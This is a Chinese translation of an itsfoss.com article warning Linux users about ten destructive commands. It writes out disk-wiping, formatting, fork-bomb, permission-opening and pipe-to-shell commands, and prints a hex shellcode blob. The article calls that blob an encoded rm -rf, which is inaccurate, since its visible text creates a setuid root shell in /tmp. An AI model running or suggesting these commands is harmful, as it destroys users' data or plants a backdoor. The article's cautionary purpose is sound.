10 大可以摧毁你的 Linux 的命令
创始人
2024-03-02 12:31:50
0

什么是最危险的 Linux 命令?

有人无数次问我这个问题,我一直避免回答,因为没有一个明确的危险的 Linux 命令清单

你拥有的工具使你能够控制和修改你的操作系统的每一个方面。我不是想吓唬你,但如果你不熟悉这些命令和工具,你可以很容易地把你的系统摧毁。

想象一下家庭中的小孩子的情景。孩子有许多方法可以伤害自己。但这是否意味着不应允许孩子离开婴儿床?那会对她的成长造成损害。

这就是父母设定界限和引导孩子的地方。不要靠近火堆,不要把手指戳到电源插座上……随着孩子的成长和经验的积累,她可以把炉子打开,在壁炉里生火,插上电源线。

同样,如果你知道一些已知的风险命令,你可能会避免落入巨魔的陷阱,他们试图欺骗你运行命令,扰乱你的系统。

当你积累了经验,知道了这些命令和工具的含义和用法,用愚蠢和棘手的命令破坏你的系统的机会就会减少。

我的同事 Sreenath 收集了一些流行的危险 Linux 命令。让我们看看它们是如何干掉你的 Linux 系统的。

免责警告:如果你不清楚你在做什么,请勿尝试本文提及的这些命令,否则后果自负。

1、rm -rf /*

这个可能是在各种社交媒体上盘旋的最臭名昭著的命令。你会经常发现巨魔们在各种讨论中提及这个。

rm 命令用来删除文件/目录。标志 -r-f 表示递归地删除指定目录内的所有文件。现在,如果没有 root 权限,这个命令不会造成任何伤害。

运行 sudo rm -rf / 命令也不会产生任何问题,因为大多数发行版提供了一个故障安全选项。你需要指定 --no-preserve-root 才能实际运行它。

sudo rm -rf / --no-preserve-root

然而,一个更简单的版本可以是这样的:

sudo rm -rf /*

它将开始递归地删除根目录下的所有文件,在一段时间后,你的系统会冻结,并显示“删除文件错误”。一旦重新启动,你将被送到 grub-rescue 提示符下。

2、覆盖你的分区

如果你熟悉文件系统,你可能知道 /dev/sda 是什么。它(通常)是你的磁盘驱动器分区。> 操作符用于将其前面的命令的输出写到所提供的指定位置。

一旦你运行任何命令并把它写到 /dev/sda,比如说:

echo "Hello" > /dev/sda

这将用 Hello 字符串替换你的包含启动系统所需的所有数据的分区。

3、把所有的东西都移到黑洞

每个 Linux 系统内都有一个黑洞。而这个黑洞就是 /dev/null

无论你把什么东西扔进这个区域都会永远丢失。而且,它在丢弃数据后会将写入过程报告为成功,这是其破坏性的主要原因。

mv /home/user/* /dev/null

mv 命令 用来移动或重命名文件/目录。在上面的命令中,你把家目录内的所有文件都移到了黑洞中。虽然根系统没有被破坏,但你所有的个人数据都会丢失。

4、格式化你的硬盘

mkfs 是一个命令行工具,用于格式化磁盘和分区。它是一个超级方便的工具,可以为安装的操作系统创建分区。但同样的命令也可以格式化你的硬盘。格式化你的驱动器意味着删除系统启动所需的所有文件。

mkfs.ext3 /dev/sda

这个命令完成了它的工作,而你最终得到了一个无法恢复的混乱的系统。

5、fork 炸弹

这个看起来很可爱的特殊字符和符号的随机组合,足以通过耗尽系统资源来冻结一个正在运行的系统。

:(){ :|:& };:

& - Shell 后台操作符。它通知 Shell 将命令放在后台。在这里,它定义了一个叫做 : 的函数,它调用自己两次,一次在前台,一次在后台。这个过程不断地重复执行,直到系统冻结。

顾名思义,它自己分叉,最终成为一个连锁炸弹,吃掉了所有的系统资源。你将被迫重启系统,这并不像本列表中的其他命令那样糟糕。

6、覆盖重要的配置文件

虽然这本身不是一个命令,但它更像是一个预防性的东西。

如上所述,> 操作符是用来向文件写入的。它丢弃文件中已经存在的东西,并将提供的新数据写入文件中。

command > config_filename

现在,如果你将一些重要的配置文件作为写数据的地方,它将被取代内容,留下一个损坏的系统。

7、用垃圾数据替换分区

/dev/random 是 Linux 中的一个命令,它可以创建垃圾数据。把它和 dd 命令 以及你的分区结合起来,你就得到了一个可以让你的分区着火的燃烧弹。

dd if=/dev/random of=/dev/sda

dd 命令被用作一个低级别的复制工具。这里,它从 /dev/random 中获取随机数据,并用这些垃圾替换 /dev/sda 分区。

一个类似的效果是通过以下方式获得的:

cat /dev/urandom > filename

这里,它从 /dev/urandom(LCTT 译注:在 Linux 上,/dev/urandom 现在和 /dev/random 的等价的 )中获取垃圾数据并填入一个文件。如果不使用 Ctrl + C 终止,该文件会占据相当大的空间,这对低端系统来说可能是灾难性的。

8、将你的系统暴露给所有人

在 Linux 中,所有东西都是文件,每个 文件都有一定的权限

你可以用 ls -l 查看权限。根文件系统是不允许其他没有权限的用户访问的。虽然这保证了系统的私密性和安全性,但你可以用一个命令颠覆这个系统。

chmod -R 777 /

上述命令将根分区上的所有文件暴露给所有人。这意味着每个使用该系统的人都有读、写和执行的权限。这对你的系统是不利的。

9、下载并运行恶意的内容

你如何在 Linux 中安装软件?你可以使用官方的软件包管理器或随时可以使用的软件包,如 Deb/RPM、Snap、Flatpak 等。

然而,有些软件是没有打包的,它们的开发者提供了下载和运行的 Shell 脚本。以 Homebrew 为例:

你下载一个 Shell 文件,然后以 root 身份运行它,在你的系统中安装一个软件。你看出问题了吗?

虽然它对 Homebrew 这样的官方软件有效,但在你像下面这样直接运行它之前,你应该仔细检查你所下载的 Shell 脚本的内容:

wget http://malicious_source -O- | sh

这样的命令会在你的系统中下载并运行恶意脚本,这可能会破坏你的系统的安全性。

10、伪装的命令

在 Linux 终端中,有许多方法可以运行命令。其中一种方式是十六进制编码的命令:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

虽然它看起来很花哨,但这是 rm -rf 命令的一个编码版本。它的效果与运行前面的命令相同。因此,在从互联网上复制和粘贴这些花哨的命令时,要小心谨慎。

总结

pebkac

有一个著名的计算机术语 PEBKAC:“ 问题存在于键盘和椅子之间 problem exists between keyboard and chair ”。

因为归根结底,还是要靠用户(你)来保证你不会因为盲目地运行任何危险的命令而破坏系统。

UNIX 的工作不是要阻止你搬起石头砸你自己的脚。如果你选择这样做,那么 UNIX 的工作就是以它所知道的最有效的方式将石头砸到脚上。

而这句话同样适用于 Linux。你可以完全控制你的操作系统。你选择做什么,完全取决于你。

我建议做这些事情以确保更安全的体验。

  • 尝试并理解你将要运行的命令。
  • 用 Timeshift 保持你的系统设置的备份
  • 用 DejaDup 保持个人数据(主目录)的备份

正如我所说,没有固定的危险 Linux 命令清单。还有很多可以添加到这个列表中,而且根本没有尽头。

我希望这能给你一些提示,告诉你为了保持 Linux 的安全,你不应该做什么。如果你有建议,请在评论区告诉我。


via: https://itsfoss.com/dangerous-linux-commands/

作者:Abhishek Prakash 选题:lkxed 译者:wxy 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

相关内容

在CentOS系统中部署l...
在Linux系统,特别是CentOS环境下,进行网络数据包捕获与分...
2025-03-13 09:41:17
CentOS系统下高效搜索...
在CentOS系统管理中,文件与信息的精准定位对运维效率至关重要。...
2025-03-13 09:41:08
关闭CentOS系统XWi...
在CentOS系统中关闭X Window的指南 对于服务器管理员或...
2025-03-11 06:13:09
如何配置CentOS系统的...
在CentOS系统中,主机名作为服务器的重要标识,对本地管理和网络...
2025-03-10 11:11:32
如何解决CentOS无法从...
当遇到CentOS无法从U盘启动时,用户可能会感到困惑和焦虑。本文...
2025-03-10 10:41:39
CentOS系统磁盘复制全...
在服务器维护和数据迁移过程中,磁盘复制是CentOS系统管理员的核...
2025-03-10 09:11:04

热门资讯

使用 KRAWL 扫描 Kub... 用 KRAWL 脚本来识别 Kubernetes Pod 和容器中的错误。当你使用 Kubernet...
Helix:高级 Linux ... 说到 基于终端的文本编辑器,通常 Vim、Emacs 和 Nano 受到了关注。这并不意味着没有其他...
通过 SaltStack 管理... 我在搜索Puppet的替代品时,偶然间碰到了Salt。我喜欢puppet,但是我又爱上Salt了:)...
Epic 游戏商店现在可在 S... 现在可以在 Steam Deck 上运行 Epic 游戏商店了,几乎无懈可击! 但是,它是非官方的。...
如何在 Github 上创建一... 学习如何复刻一个仓库,进行更改,并要求维护人员审查并合并它。你知道如何使用 git 了,你有一个 G...
2024 开年,LLUG 和你... Hi,Linuxer,2024 新年伊始,不知道你是否已经准备好迎接新的一年~ 2024 年,Lin...
Bazzite:专为 Stea... 为 Linux 桌面或者 Steam Deck 做好游戏准备,听起来都很刺激!对于一个专为 Linu...
Motrix:一个漂亮的跨平台... 一个开源的下载管理器,提供了一个简洁的用户界面,同时提供了跨平台操作的所有基本功能。在这里了解关于它...
Bash 脚本中如何使用 he... here 文档 here document (LCTT 译注:here 文档又称作 heredoc ...
使用 dialog 和 jq ... 为何选择文字用户界面(TUI)?许多人每日都在使用终端,因此, 文字用户界面 Text User I...